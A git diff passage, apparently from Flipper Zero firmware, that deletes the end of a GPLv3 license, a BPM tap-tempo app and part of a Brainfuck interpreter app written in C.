and/or new versions of -the GNU General Public License from time to time. Such new versions will -be similar in spirit to the present version, but may differ in detail to -address new problems or concerns. - - Each version is given a distinguishing version number. If the -Program specifies that a certain numbered version of the GNU General -Public License "or any later version" applies to it, you have the -option of following the terms and conditions either of that numbered -version or of any later version published by the Free Software -Foundation. If the Program does not specify a version number of the -GNU General Public License, you may choose any version ever published -by the Free Software Foundation. - - If the Program specifies that a proxy can decide which future -versions of the GNU General Public License can be used, that proxy's -public statement of acceptance of a version permanently authorizes you -to choose that version for the Program. - - Later license versions may give you additional or different -permissions. However, no additional obligations are imposed on any -author or copyright holder as a result of your choosing to follow a -later version. - - 15. Disclaimer of Warranty. - - THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY -APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT -HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY -OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, -THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR -PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM -IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF -ALL NECESSARY SERVICING, REPAIR OR CORRECTION. - - 16. Limitation of Liability. - - IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING -WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS -THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY -GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE -USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF -DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD -PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), -EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF -SUCH DAMAGES. - - 17. Interpretation of Sections 15 and 16. - - If the disclaimer of warranty and limitation of liability provided -above cannot be given local legal effect according to their terms, -reviewing courts shall apply local law that most closely approximates -an absolute waiver of all civil liability in connection with the -Program, unless a warranty or assumption of liability accompanies a -copy of the Program in return for a fee. - - END OF TERMS AND CONDITIONS - - How to Apply These Terms to Your New Programs - - If you develop a new program, and you want it to be of the greatest -possible use to the public, the best way to achieve this is to make it -free software which everyone can redistribute and change under these terms. - - To do so, attach the following notices to the program. It is safest -to attach them to the start of each source file to most effectively -state the exclusion of warranty; and each file should have at least -the "copyright" line and a pointer to where the full notice is found. - - - Copyright (C) - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . - -Also add information on how to contact you by electronic and paper mail. - - If the program does terminal interaction, make it output a short -notice like this when it starts in an interactive mode: - - Copyright (C) - This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. - This is free software, and you are welcome to redistribute it - under certain conditions; type `show c' for details. - -The hypothetical commands `show w' and `show c' should show the appropriate -parts of the General Public License. Of course, your program's commands -might be different; for a GUI interface, you would use an "about box". - - You should also get your employer (if you work as a programmer) or school, -if any, to sign a "copyright disclaimer" for the program, if necessary. -For more information on this, and how to apply and follow the GNU GPL, see -. - - The GNU General Public License does not permit incorporating your program -into proprietary programs. If your program is a subroutine library, you -may consider it more useful to permit linking proprietary applications with -the library. If this is what you want to do, use the GNU Lesser General -Public License instead of this License. But first, please read -. diff --git a/applications/external/bpmtapper/application.fam b/applications/external/bpmtapper/application.fam deleted file mode 100644 index b25f61af3..000000000 --- a/applications/external/bpmtapper/application.fam +++ /dev/null @@ -1,16 +0,0 @@ -App( - appid="bpm_tapper", - name="BPM Tapper", - apptype=FlipperAppType.EXTERNAL, - entry_point="bpm_tapper_app", - cdefines=["APP_BPM_TAPPER"], - requires=["gui"], - stack_size=2 * 1024, - fap_icon="bpm_10px.png", - fap_category="Media", - fap_icon_assets="icons", - fap_author="@panki27", - fap_weburl="https://github.com/panki27/bpm-tapper", - fap_version="1.0", - fap_description="Tap center button to measure BPM", -) diff --git a/applications/external/bpmtapper/bpm.c b/applications/external/bpmtapper/bpm.c deleted file mode 100644 index 2fb5f8f3e..000000000 --- a/applications/external/bpmtapper/bpm.c +++ /dev/null @@ -1,260 +0,0 @@ -#include -#include -#include -#include -#include -#include -#include "bpm_tapper_icons.h" -#include - -typedef enum { - EventTypeTick, - EventTypeKey, -} EventType; - -typedef struct { - EventType type; - InputEvent input; -} PluginEvent; - -//QUEUE - -struct node { - int interval; - struct node* next; -}; -typedef struct node node; - -typedef struct { - int size; - int max_size; - node* front; - node* rear; -} queue; - -static void init_queue(queue* q) { - q->size = 0; - q->max_size = 8; - q->front = NULL; - q->rear = NULL; -} - -static void queue_remove(queue* q) { - node* tmp; - tmp = q->front; - q->front = q->front->next; - q->size--; - free(tmp); -} - -static void queue_add(queue* q, int value) { - node* tmp = malloc(sizeof(node)); - tmp->interval = value; - tmp->next = NULL; - if(q->size == q->max_size) { - queue_remove(q); - } - // check if empty - if(q->rear == NULL) { - q->front = tmp; - q->rear = tmp; - } else { - q->rear->next = tmp; - q->rear = tmp; - } - q->size++; -} - -static float queue_avg(queue* q) { - float avg = 0.0; - if(q->size == 0) { - return avg; - } else { - node* tmp; - float sum = 0.0; - tmp = q->front; - while(tmp != NULL) { - sum = sum + tmp->interval; - tmp = tmp->next; - } - avg = sum / q->size; - FURI_LOG_D("BPM-Tapper", "Sum: %.2f Avg: %.2f", (double)sum, (double)avg); - return avg; - } -} - -// TOO SLOW! -//uint64_t dolphin_state_timestamp() { -// FuriHalRtcDateTime datetime; -// furi_hal_rtc_get_datetime(&datetime); -// return furi_hal_rtc_datetime_to_timestamp(&datetime); -//} -// -typedef struct { - FuriMutex* mutex; - int taps; - double bpm; - uint32_t last_stamp; - uint32_t interval; - queue* tap_queue; -} BPMTapper; - -static void show_hello() { - // BEGIN HELLO DIALOG - DialogsApp* dialogs = furi_record_open(RECORD_DIALOGS); - DialogMessage* message = dialog_message_alloc(); - - const char* header_text = "BPM Tapper"; - const char* message_text = "Tap center to start"; - - dialog_message_set_header(message, header_text, 63, 3, AlignCenter, AlignTop); - dialog_message_set_text(message, message_text, 0, 17, AlignLeft, AlignTop); - dialog_message_set_buttons(message, NULL, "Tap", NULL); - - dialog_message_set_icon(message, &I_DolphinCommon_56x48, 72, 17); - - dialog_message_show(dialogs, message); - - dialog_message_free(message); - furi_record_close(RECORD_DIALOGS); - // END HELLO DIALOG -} - -static void input_callback(InputEvent* input_event, FuriMessageQueue* event_queue) { - furi_assert(event_queue); - - PluginEvent event = {.type = EventTypeKey, .input = *input_event}; - furi_message_queue_put(event_queue, &event, FuriWaitForever); -} - -static void render_callback(Canvas* const canvas, void* ctx) { - furi_assert(ctx); - const BPMTapper* bpm_state = ctx; - furi_mutex_acquire(bpm_state->mutex, FuriWaitForever); - - FuriString* tempStr; - // border - //canvas_draw_frame(canvas, 0, 0, 128, 64); - canvas_set_font(canvas, FontPrimary); - - tempStr = furi_string_alloc(); - - furi_string_printf(tempStr, "Taps: %d", bpm_state->taps); - canvas_draw_str_aligned(canvas, 5, 10, AlignLeft, AlignBottom, furi_string_get_cstr(tempStr)); - furi_string_reset(tempStr); - - furi_string_printf(tempStr, "Queue: %d", bpm_state->tap_queue->size); - canvas_draw_str_aligned(canvas, 70, 10, AlignLeft, AlignBottom, furi_string_get_cstr(tempStr)); - furi_string_reset(tempStr); - - furi_string_printf(tempStr, "Interval: %ldms", bpm_state->interval); - canvas_draw_str_aligned(canvas, 5, 20, AlignLeft, AlignBottom, furi_string_get_cstr(tempStr)); - furi_string_reset(tempStr); - - furi_string_printf(tempStr, "x2 %.2f /2 %.2f", bpm_state->bpm * 2, bpm_state->bpm / 2); - canvas_draw_str_aligned( - canvas, 64, 60, AlignCenter, AlignCenter, furi_string_get_cstr(tempStr)); - furi_string_reset(tempStr); - - furi_string_printf(tempStr, "%.2f", bpm_state->bpm); - canvas_set_font(canvas, FontBigNumbers); - canvas_draw_str_aligned( - canvas, 64, 40, AlignCenter, AlignCenter, furi_string_get_cstr(tempStr)); - furi_string_reset(tempStr); - - furi_string_free(tempStr); - - furi_mutex_release(bpm_state->mutex); -} - -static void bpm_state_init(BPMTapper* const plugin_state) { - plugin_state->taps = 0; - plugin_state->bpm = 120.0; - plugin_state->last_stamp = 0; // furi_get_tick(); - plugin_state->interval = 0; - queue* q; - q = malloc(sizeof(queue)); - init_queue(q); - plugin_state->tap_queue = q; -} - -int32_t bpm_tapper_app(void* p) { - UNUSED(p); - - FuriMessageQueue* event_queue = furi_message_queue_alloc(8, sizeof(PluginEvent)); - - BPMTapper* bpm_state = malloc(sizeof(BPMTapper)); - // setup - bpm_state_init(bpm_state); - - bpm_state->mutex = furi_mutex_alloc(FuriMutexTypeNormal); - if(!bpm_state->mutex) { - FURI_LOG_E("BPM-Tapper", "cannot create mutex\r\n"); - free(bpm_state); - return 255; - } - show_hello(); - - // BEGIN IMPLEMENTATION - - // Set system callbacks - ViewPort* view_port = view_port_alloc(); - view_port_draw_callback_set(view_port, render_callback, bpm_state); - view_port_input_callback_set(view_port, input_callback, event_queue); - - // Open GUI and register view_port - Gui* gui = furi_record_open("gui"); - gui_add_view_port(gui, view_port, GuiLayerFullscreen); - - PluginEvent event; - for(bool processing = true; processing;) { - FuriStatus event_status = furi_message_queue_get(event_queue, &event, 100); - furi_mutex_acquire(bpm_state->mutex, FuriWaitForever); - if(event_status == FuriStatusOk) { - // press events - if(event.type == EventTypeKey) { - if(event.input.type == InputTypePress) { - switch(event.input.key) { - case InputKeyUp: - case InputKeyDown: - case InputKeyRight: - case InputKeyLeft: - case InputKeyOk: - bpm_state->taps++; - uint32_t new_stamp = furi_get_tick(); - if(bpm_state->last_stamp == 0) { - bpm_state->last_stamp = new_stamp; - break; - } - bpm_state->interval = new_stamp - bpm_state->last_stamp; - bpm_state->last_stamp = new_stamp; - queue_add(bpm_state->tap_queue, bpm_state->interval); - float avg = queue_avg(bpm_state->tap_queue); - float bps = 1.0 / (avg / 1000.0); - bpm_state->bpm = bps * 60.0; - break; - case InputKeyBack: - // Exit the plugin - processing = false; - break; - default: - break; - } - } - } - } - view_port_update(view_port); - furi_mutex_release(bpm_state->mutex); - } - view_port_enabled_set(view_port, false); - gui_remove_view_port(gui, view_port); - furi_record_close("gui"); - view_port_free(view_port); - furi_message_queue_free(event_queue); - furi_mutex_free(bpm_state->mutex); - queue* q = bpm_state->tap_queue; - free(q); - free(bpm_state); - - return 0; -} diff --git a/applications/external/bpmtapper/bpm_10px.png b/applications/external/bpmtapper/bpm_10px.png deleted file mode 100644 index ebf27486c..000000000 Binary files a/applications/external/bpmtapper/bpm_10px.png and /dev/null differ diff --git a/applications/external/brainfuck/application.fam b/applications/external/brainfuck/application.fam deleted file mode 100644 index e7da3af73..000000000 --- a/applications/external/brainfuck/application.fam +++ /dev/null @@ -1,18 +0,0 @@ -App( - appid="brainfuck", - name="Brainfuck", - apptype=FlipperAppType.EXTERNAL, - entry_point="brainfuck_app", - requires=[ - "storage", - "gui", - ], - stack_size=8 * 1024, - fap_icon="bfico.png", - fap_category="Tools", - fap_icon_assets="icons", - fap_author="@nymda", - fap_weburl="https://github.com/nymda/FlipperZeroBrainfuck", - fap_version="1.0", - fap_description="Brainfuck language interpreter", -) diff --git a/applications/external/brainfuck/bfico.png b/applications/external/brainfuck/bfico.png deleted file mode 100644 index b25368fb5..000000000 Binary files a/applications/external/brainfuck/bfico.png and /dev/null differ diff --git a/applications/external/brainfuck/brainfuck.c b/applications/external/brainfuck/brainfuck.c deleted file mode 100644 index 84a810eaf..000000000 --- a/applications/external/brainfuck/brainfuck.c +++ /dev/null @@ -1,149 +0,0 @@ -#include "brainfuck_i.h" - -/* - Due to the lack of documentation on the flipper i copied the picopass app, - ripped its insides out and used its hollow corpse to build this app inside of. - - i dont know how this stuff works and after 6 hours of trying to learn it, i dont care -*/ - -bool brainfuck_custom_event_callback(void* context, uint32_t event) { - furi_assert(context); - BFApp* brainfuck = context; - return scene_manager_handle_custom_event(brainfuck->scene_manager, event); -} - -bool brainfuck_back_event_callback(void* context) { - furi_assert(context); - BFApp* brainfuck = context; - return scene_manager_handle_back_event(brainfuck->scene_manager); -} - -BFApp* brainfuck_alloc() { - BFApp* brainfuck = malloc(sizeof(BFApp)); - - brainfuck->dataSize = 0; - brainfuck->view_dispatcher = view_dispatcher_alloc(); - brainfuck->scene_manager = scene_manager_alloc(&brainfuck_scene_handlers, brainfuck); - view_dispatcher_enable_queue(brainfuck->view_dispatcher); - view_dispatcher_set_event_callback_context(brainfuck->view_dispatcher, brainfuck); - view_dispatcher_set_custom_event_callback( - brainfuck->view_dispatcher, brainfuck_custom_event_callback); - view_dispatcher_set_navigation_event_callback( - brainfuck->view_dispatcher, brainfuck_back_event_callback); - - // Open GUI record - brainfuck->gui = furi_record_open(RECORD_GUI); - view_dispatcher_attach_to_gui( - brainfuck->view_dispatcher, brainfuck->gui, ViewDispatcherTypeFullscreen); - - // Open Notification record - brainfuck->notifications = furi_record_open(RECORD_NOTIFICATION); - - // Submenu - brainfuck->submenu = submenu_alloc(); - view_dispatcher_add_view( - brainfuck->view_dispatcher, brainfuckViewMenu, submenu_get_view(brainfuck->submenu)); - - // Popup - brainfuck->popup = popup_alloc(); - view_dispatcher_add_view( - brainfuck->view_dispatcher, brainfuckViewPopup, popup_get_view(brainfuck->popup)); - - // Text Input - brainfuck->text_input = text_input_alloc(); - view_dispatcher_add_view( - brainfuck->view_dispatcher, - brainfuckViewTextInput, - text_input_get_view(brainfuck->text_input)); - - // Textbox - brainfuck->text_box = text_box_alloc(); - view_dispatcher_add_view( - brainfuck->view_dispatcher, brainfuckViewTextBox, text_box_get_view(brainfuck->text_box)); - brainfuck->text_box_store = furi_string_alloc(); - - // Dev environment - brainfuck->BF_dev_env = bf_dev_env_alloc(brainfuck); - view_dispatcher_add_view( - brainfuck->view_dispatcher, brainfuckViewDev, bf_dev_env_get_view(brainfuck->BF_dev_env)); - - // File path - brainfuck->BF_file_path = furi_string_alloc(); - - return brainfuck; -} - -void brainfuck_free(BFApp* brainfuck) { - furi_assert(brainfuck); - - // Submenu - view_dispatcher_remove_view(brainfuck->view_dispatcher, brainfuckViewMenu); - submenu_free(brainfuck->submenu); - - // Popup - view_dispatcher_remove_view(brainfuck->view_dispatcher, brainfuckViewPopup); - popup_free(brainfuck->popup); - - // TextInput - view_dispatcher_remove_view(brainfuck->view_dispatcher, brainfuckViewTextInput); - text_input_free(brainfuck->text_input); - - // TextBox - view_dispatcher_remove_view(brainfuck->view_dispatcher, brainfuckViewTextBox); - text_box_free(brainfuck->text_box); - furi_string_free(brainfuck->text_box_store); - - //dev env - view_dispatcher_remove_view(brainfuck->view_dispatcher, brainfuckViewDev); - bf_dev_env_free(brainfuck->BF_dev_env); - - // View Dispatcher - view_dispatcher_free(brainfuck->view_dispatcher); - - // Scene Manager - scene_manager_free(brainfuck->scene_manager); - - // GUI - furi_record_close(RECORD_GUI); - brainfuck->gui = NULL; - - // Notifications - furi_record_close(RECORD_NOTIFICATION); - brainfuck->notifications = NULL; - - free(brainfuck); -} - -void brainfuck_show_loading_popup(void* context, bool show) { - BFApp* brainfuck = context; - TaskHandle_t timer_task = xTaskGetHandle(configTIMER_SERVICE_TASK_NAME); - - if(show) { - // Raise timer priority so that animations can play - vTaskPrioritySet(timer_task, configMAX_PRIORITIES - 1); - view_dispatcher_switch_to_view(brainfuck->view_dispatcher, brainfuckViewLoading); - } else { - // Restore default timer priority - vTaskPrioritySet(timer_task, configTIMER_TASK_PRIORITY); - } -} - -int32_t brainfuck_app(void* p) { - UNUSED(p); - BFApp* brainfuck = brainfuck_alloc(); - if(!brainfuck) { - return 0; - } - - Storage* storage = furi_record_open(RECORD_STORAGE); - storage_common_migrate(storage, EXT_PATH("brainfuck"), STORAGE_APP_DATA_PATH_PREFIX); - - scene_manager_next_scene(brainfuck->scene_manager, brainfuckSceneStart); - - view_dispatcher_run(brainfuck->view_dispatcher); - - brainfuck_free(brainfuck); - - return 0; -} diff --git a/applications/external/brainfuck/brainfuck.h b/applications/external/brainfuck/brainfuck.h deleted file mode 100644 index 2e58321a6..000000000 --- a/applications/external/brainfuck/brainfuck.h +++ /dev/null @@ -1,3 +0,0 @@ -#pragma once - -typedef struct BFApp BFApp; \ No newline at end of file diff --git a/applications/external/brainfuck/brainfuck_i.h b/applications/external/brainfuck/brainfuck_i.h deleted file mode 100644 index d4d7bb3ea..000000000 --- a/applications/external/brainfuck/brainfuck_i.h +++ /dev/null @@ -1,89 +0,0 @@ -#pragma once - -typedef struct BFDevEnv BFDevEnv; -typedef struct BFExecEnv BFExecEnv; -typedef unsigned char byte; - -#include "brainfuck.h" -#include "worker.h" - -#include -#include -#include -#include -#include - -#include -#include -#include -#include -#include -#include - -#include -#include - -#include "scenes/brainfuck_scene.h" - -#include "views/bf_dev_env.h" - -#include -#include -#include "brainfuck_icons.h" -#include - -#include -#include -#include -#include - -#include - -#define BF_INST_BUFFER_SIZE 2048 -#define BF_OUTPUT_SIZE 512 -#define BF_STACK_INITIAL_SIZE 128 -#define BF_INPUT_BUFFER_SIZE 64 -#define BF_STACK_STEP_SIZE 32 - -enum brainfuckCustomEvent { - // Reserve first 100 events for button types and indexes, starting from 0 - brainfuckCustomEventReserved = 100, - - brainfuckCustomEventViewExit, - brainfuckCustomEventWorkerExit, - brainfuckCustomEventByteInputDone, - brainfuckCustomEventTextInputDone, -}; - -typedef enum { - EventTypeTick, - EventTypeKey, -} EventType; - -struct BFApp { - ViewDispatcher* view_dispatcher; - Gui* gui; - NotificationApp* notifications; - SceneManager* scene_manager; - Submenu* submenu; - Popup* popup; - TextInput* text_input; - TextBox* text_box; - FuriString* text_box_store; - FuriString* BF_file_path; - BFDevEnv* BF_dev_env; - int dataSize; - char dataBuffer[BF_INST_BUFFER_SIZE]; - char inputBuffer[BF_INPUT_BUFFER_SIZE]; -}; - -typedef enum { - brainfuckViewMenu, - brainfuckViewPopup, - brainfuckViewLoading, - brainfuckViewTextInput, - brainfuckViewTextBox, - brainfuckViewWidget, - brainfuckViewDev, - brainfuckViewExec, -} brainfuckView; diff --git a/applications/external/brainfuck/icons/KeyBackspaceSelected_24x11.png b/applications/external/brainfuck/icons/KeyBackspaceSelected_24x11.png deleted file mode 100644 index c79cfb6c6..000000000 Binary files a/applications/external/brainfuck/icons/KeyBackspaceSelected_24x11.png and /dev/null differ diff --git a/applications/external/brainfuck/icons/KeyBackspace_24x11.png b/applications/external/brainfuck/icons/KeyBackspace_24x11.png deleted file mode 100644 index 00e66428d..000000000 Binary files a/applications/external/brainfuck/icons/KeyBackspace_24x11.png and /dev/null differ diff --git a/applications/external/brainfuck/icons/KeyInputSelected_30x11.png b/applications/external/brainfuck/icons/KeyInputSelected_30x11.png deleted file mode 100644 index 4c04a0856..000000000 Binary files a/applications/external/brainfuck/icons/KeyInputSelected_30x11.png and /dev/null differ diff --git a/applications/external/brainfuck/icons/KeyInput_30x11.png b/applications/external/brainfuck/icons/KeyInput_30x11.png deleted file mode 100644 index d23e24aaf..000000000 Binary files a/applications/external/brainfuck/icons/KeyInput_30x11.png and /dev/null differ diff --git a/applications/external/brainfuck/icons/KeyRunSelected_24x11.png b/applications/external/brainfuck/icons/KeyRunSelected_24x11.png deleted file mode 100644 index 3ff5ac5e6..000000000 Binary files a/applications/external/brainfuck/icons/KeyRunSelected_24x11.png and /dev/null differ diff --git a/applications/external/brainfuck/icons/KeyRun_24x11.png b/applications/external/brainfuck/icons/KeyRun_24x11.png deleted file mode 100644 index cce46c972..000000000 Binary files a/applications/external/brainfuck/icons/KeyRun_24x11.png and /dev/null differ diff --git a/applications/external/brainfuck/icons/KeySaveSelected_24x11.png b/applications/external/brainfuck/icons/KeySaveSelected_24x11.png deleted file mode 100644 index eeb3569d3..000000000 Binary files a/applications/external/brainfuck/icons/KeySaveSelected_24x11.png and /dev/null differ diff --git a/applications/external/brainfuck/icons/KeySave_24x11.png b/applications/external/brainfuck/icons/KeySave_24x11.png deleted file mode 100644 index e7dba987a..000000000 Binary files a/applications/external/brainfuck/icons/KeySave_24x11.png and /dev/null differ diff --git a/applications/external/brainfuck/icons/bfico.png b/applications/external/brainfuck/icons/bfico.png deleted file mode 100644 index b25368fb5..000000000 Binary files a/applications/external/brainfuck/icons/bfico.png and /dev/null differ diff --git a/applications/external/brainfuck/scenes/brainfuck_scene.c b/applications/external/brainfuck/scenes/brainfuck_scene.c deleted file mode 100644 index 90707c926..000000000 --- a/applications/external/brainfuck/scenes/brainfuck_scene.c +++ /dev/null @@ -1,30 +0,0 @@ -#include "brainfuck_scene.h" - -// Generate scene on_enter handlers array -#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_enter, -void (*const brainfuck_on_enter_handlers[])(void*) = { -#include "brainfuck_scene_config.h" -}; -#undef ADD_SCENE - -// Generate scene on_event handlers array -#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_event, -bool (*const brainfuck_on_event_handlers[])(void* context, SceneManagerEvent event) = { -#include "brainfuck_scene_config.h" -}; -#undef ADD_SCENE - -// Generate scene on_exit handlers array -#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_exit, -void (*const brainfuck_on_exit_handlers[])(void* context) = { -#include "brainfuck_scene_config.h" -}; -#undef ADD_SCENE - -// Initialize scene handlers configuration structure -const SceneManagerHandlers brainfuck_scene_handlers = { - .on_enter_handlers = brainfuck_on_enter_handlers, - .on_event_handlers = brainfuck_on_event_handlers, - .on_exit_handlers = brainfuck_on_exit_handlers, - .scene_num = brainfuckSceneNum, -}; diff --git a/applications/external/brainfuck/scenes/brainfuck_scene.h b/applications/external/brainfuck/scenes/brainfuck_scene.h deleted file mode 100644 index f7131a56c..000000000 --- a/applications/external/brainfuck/scenes/brainfuck_scene.h +++ /dev/null @@ -1,29 +0,0 @@ -#pragma once - -#include - -// Generate scene id and total number -#define ADD_SCENE(prefix, name, id) brainfuckScene##id, -typedef enum { -#include "brainfuck_scene_config.h" - brainfuckSceneNum, -} brainfuckScene; -#undef ADD_SCENE - -extern const SceneManagerHandlers brainfuck_scene_handlers; - -// Generate scene on_enter handlers declaration -#define ADD_SCENE(prefix, name, id) void prefix##_scene_##name##_on_enter(void*); -#include "brainfuck_scene_config.h" -#undef ADD_SCENE - -// Generate scene on_event handlers declaration -#define ADD_SCENE(prefix, name, id) \ - bool prefix##_scene_##name##_on_event(void* context, SceneManagerEvent event); -#include "brainfuck_scene_config.h" -#undef ADD_SCENE - -// Generate scene on_exit handlers declaration -#define ADD_SCENE(prefix, name, id) void prefix##_scene_##name##_on_exit(void* context); -#include "brainfuck_scene_config.h" -#undef ADD_SCENE diff --git a/applications/external/brainfuck/scenes/brainfuck_scene_config.h b/applications/external/brainfuck/scenes/brainfuck_scene_config.h deleted file mode 100644 index 0efc41641..000000000 --- a/applications/external/brainfuck/scenes/brainfuck_scene_config.h +++ /dev/null @@ -1,6 +0,0 @@ -ADD_SCENE(brainfuck, start, Start) -ADD_SCENE(brainfuck, file_select, FileSelect) -ADD_SCENE(brainfuck, file_create, FileCreate) -ADD_SCENE(brainfuck, dev_env, DevEnv) -ADD_SCENE(brainfuck, exec_env, ExecEnv) -ADD_SCENE(brainfuck, set_input, SetInput) \ No newline at end of file diff --git a/applications/external/brainfuck/scenes/brainfuck_scene_dev.c b/applications/external/brainfuck/scenes/brainfuck_scene_dev.c deleted file mode 100644 index 475e9e573..000000000 --- a/applications/external/brainfuck/scenes/brainfuck_scene_dev.c +++ /dev/null @@ -1,16 +0,0 @@ -#include "../brainfuck_i.h" - -void brainfuck_scene_dev_env_on_enter(void* context) { - BFApp* app = context; - view_dispatcher_switch_to_view(app->view_dispatcher, brainfuckViewDev); -} - -bool brainfuck_scene_dev_env_on_event(void* context, SceneManagerEvent event) { - UNUSED(context); - UNUSED(event); - return false; -} - -void brainfuck_scene_dev_env_on_exit(void* context) { - UNUSED(context); -} diff --git a/applications/external/brainfuck/scenes/brainfuck_scene_exec.c b/applications/external/brainfuck/scenes/brainfuck_scene_exec.c deleted file mode 100644 index d344f7271..000000000 --- a/applications/external/brainfuck/scenes/brainfuck_scene_exec.c +++ /dev/null @@ -1,16 +0,0 @@ -#include "../brainfuck_i.h" - -void brainfuck_scene_exec_env_on_enter(void* context) { - BFApp* app = context; - view_dispatcher_switch_to_view(app->view_dispatcher, brainfuckViewTextBox); -} - -bool brainfuck_scene_exec_env_on_event(void* context, SceneManagerEvent event) { - UNUSED(context); - UNUSED(event); - return false; -} - -void brainfuck_scene_exec_env_on_exit(void* context) { - UNUSED(context); -} diff --git a/applications/external/brainfuck/scenes/brainfuck_scene_file_create.c b/applications/external/brainfuck/scenes/brainfuck_scene_file_create.c deleted file mode 100644 index 96df831c9..000000000 --- a/applications/external/brainfuck/scenes/brainfuck_scene_file_create.c +++ /dev/null @@ -1,50 +0,0 @@ -#include "../brainfuck_i.h" - -void file_name_text_input_callback(void* context) { - BFApp* app = context; - view_dispatcher_send_custom_event(app->view_dispatcher, brainfuckCustomEventTextInputDone); -} - -char tmpName[64] = {}; -byte empty[1] = {0x00}; -void brainfuck_scene_file_create_on_enter(void* context) { - BFApp* app = context; - TextInput* text_input = app->text_input; - - text_input_set_header_text(text_input, "New script name"); - text_input_set_result_callback( - text_input, file_name_text_input_callback, app, tmpName, 64, true); - - view_dispatcher_switch_to_view(app->view_dispatcher, brainfuckViewTextInput); -} - -bool brainfuck_scene_file_create_on_event(void* context, SceneManagerEvent event) { - BFApp* app = context; - UNUSED(app); - - bool consumed = false; - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == brainfuckCustomEventTextInputDone) { - furi_string_cat_printf(app->BF_file_path, APP_DATA_PATH("%s.b"), tmpName); - - //remove old file - Storage* storage = furi_record_open(RECORD_STORAGE); - storage_simply_remove(storage, furi_string_get_cstr(app->BF_file_path)); - - //save new file - Stream* stream = buffered_file_stream_alloc(storage); - buffered_file_stream_open( - stream, furi_string_get_cstr(app->BF_file_path), FSAM_WRITE, FSOM_CREATE_ALWAYS); - stream_write(stream, (const uint8_t*)empty, 1); - buffered_file_stream_close(stream); - - //scene_manager_next_scene(app->scene_manager, brainfuckSceneFileSelect); - scene_manager_next_scene(app->scene_manager, brainfuckSceneDevEnv); - } - } - return consumed; -} - -void brainfuck_scene_file_create_on_exit(void* context) { - UNUSED(context); -} diff --git a/applications/external/brainfuck/scenes/brainfuck_scene_file_select.c b/applications/external/brainfuck/scenes/brainfuck_scene_file_select.c deleted file mode 100644 index 10692b32f..000000000 --- a/applications/external/brainfuck/scenes/brainfuck_scene_file_select.c +++ /dev/null @@ -1,34 +0,0 @@ -#include "../brainfuck_i.h" - -void brainfuck_scene_file_select_on_enter(void* context) { - BFApp* app = context; - - DialogsApp* dialogs = furi_record_open("dialogs"); - FuriString* path; - path = furi_string_alloc(); - furi_string_set(path, STORAGE_APP_DATA_PATH_PREFIX); - - DialogsFileBrowserOptions browser_options; - dialog_file_browser_set_basic_options(&browser_options, ".b", &I_bfico); - browser_options.base_path = STORAGE_APP_DATA_PATH_PREFIX; - browser_options.hide_ext = false; - - bool selected = dialog_file_browser_show(dialogs, path, path, &browser_options); - - if(selected) { - furi_string_set(app->BF_file_path, path); - scene_manager_next_scene(app->scene_manager, brainfuckSceneDevEnv); - } else { - scene_manager_search_and_switch_to_previous_scene(app->scene_manager, brainfuckSceneStart); - } -} - -bool brainfuck_scene_file_select_on_event(void* context, SceneManagerEvent event) { - UNUSED(context); - UNUSED(event); - return false; -} - -void brainfuck_scene_file_select_on_exit(void* context) { - UNUSED(context); -} diff --git a/applications/external/brainfuck/scenes/brainfuck_scene_set_input.c b/applications/external/brainfuck/scenes/brainfuck_scene_set_input.c deleted file mode 100644 index efb9237cb..000000000 --- a/applications/external/brainfuck/scenes/brainfuck_scene_set_input.c +++ /dev/null @@ -1,35 +0,0 @@ -#include "../brainfuck_i.h" - -void set_input_text_input_callback(void* context) { - BFApp* app = context; - view_dispatcher_send_custom_event(app->view_dispatcher, brainfuckCustomEventTextInputDone); -} - -void brainfuck_scene_set_input_on_enter(void* context) { - BFApp* app = context; - TextInput* text_input = app->text_input; - - text_input_set_header_text(text_input, "Edit input buffer"); - text_input_set_result_callback( - text_input, set_input_text_input_callback, app, app->inputBuffer, 64, true); - - view_dispatcher_switch_to_view(app->view_dispatcher, brainfuckViewTextInput); -} - -bool brainfuck_scene_set_input_on_event(void* context, SceneManagerEvent event) { - BFApp* app = context; - - bool consumed = false; - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == brainfuckCustomEventTextInputDone) { - scene_manager_search_and_switch_to_previous_scene( - app->scene_manager, brainfuckSceneDevEnv); - } - } - return consumed; -} - -void brainfuck_scene_set_input_on_exit(void* context) { - BFApp* app = context; - scene_manager_search_and_switch_to_previous_scene(app->scene_manager, brainfuckSceneDevEnv); -} diff --git a/applications/external/brainfuck/scenes/brainfuck_scene_start.c b/applications/external/brainfuck/scenes/brainfuck_scene_start.c deleted file mode 100644 index 8eaaf751a..000000000 --- 